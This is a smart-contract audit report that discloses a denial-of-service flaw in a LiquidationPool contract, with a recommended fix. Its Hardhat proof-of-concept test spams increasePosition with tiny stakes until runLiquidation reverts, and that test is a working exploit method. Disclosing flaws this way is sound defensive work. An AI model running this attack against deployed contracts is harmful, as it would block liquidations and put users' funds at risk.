Summary
A DoS attack can be triggered in the LiquidationPool contract. Malicious users can exploit the increasePosition function with low-value inputs, creating an overload of PendingStakes and disrupting other functionalities.
Vulnerability Details
In order to perform the POC I updated the hardhat.config.js file in the following way:
require("@nomicfoundation/hardhat-toolbox");
require('@openzeppelin/hardhat-upgrades');
module.exports = {
solidity: "0.8.17",
mocha: {
timeout: 100000000,
},
};
I modified the 'allows users to claim their accrued rewards' test in liquidationPool.js to demonstrate the issue on runLiquidity function:
it('DOS attack by calling increasePosition with many small values, causing runLiquditiy to revert', async () => {
const ethCollateral = ethers.utils.parseEther('0.5');
const wbtcCollateral = BigNumber.from(1_000_000);
const usdcCollateral = BigNumber.from(500_000_000);
await user2.sendTransaction({to: MockSmartVaultManager.address, value: ethCollateral});
await WBTC.mint(MockSmartVaultManager.address, wbtcCollateral);
await USDC.mint(MockSmartVaultManager.address, usdcCollateral);
let stakeValue = ethers.utils.parseEther('10000');
await TST.mint(user1.address, stakeValue);
await EUROs.mint(user1.address, stakeValue);
await TST.connect(user1).approve(LiquidationPool.address, stakeValue);
await EUROs.connect(user1).approve(LiquidationPool.address, stakeValue);
for(let i = 0; i < 300; i++) {
await LiquidationPool.connect(user1).increasePosition(0, 1);
}
await fastForward(DAY);
await expect(LiquidationPoolManager.runLiquidation(TOKEN_ID)).to.be.reverted;
});
Impact
If the PendingStakes in LiquidationPool contract are too many to handle, the following external functions are blocked:
LiquidationPool - increasePosition, distributeFees, decreasePosition, distributeAssets
LiquidationPoolManage - distributeFees, runLiquidation
Tools Used
Manual Review & Hardhat
Recommendations
Limiting the pendingPositions array or/and make sure a user can have only one pending position per day.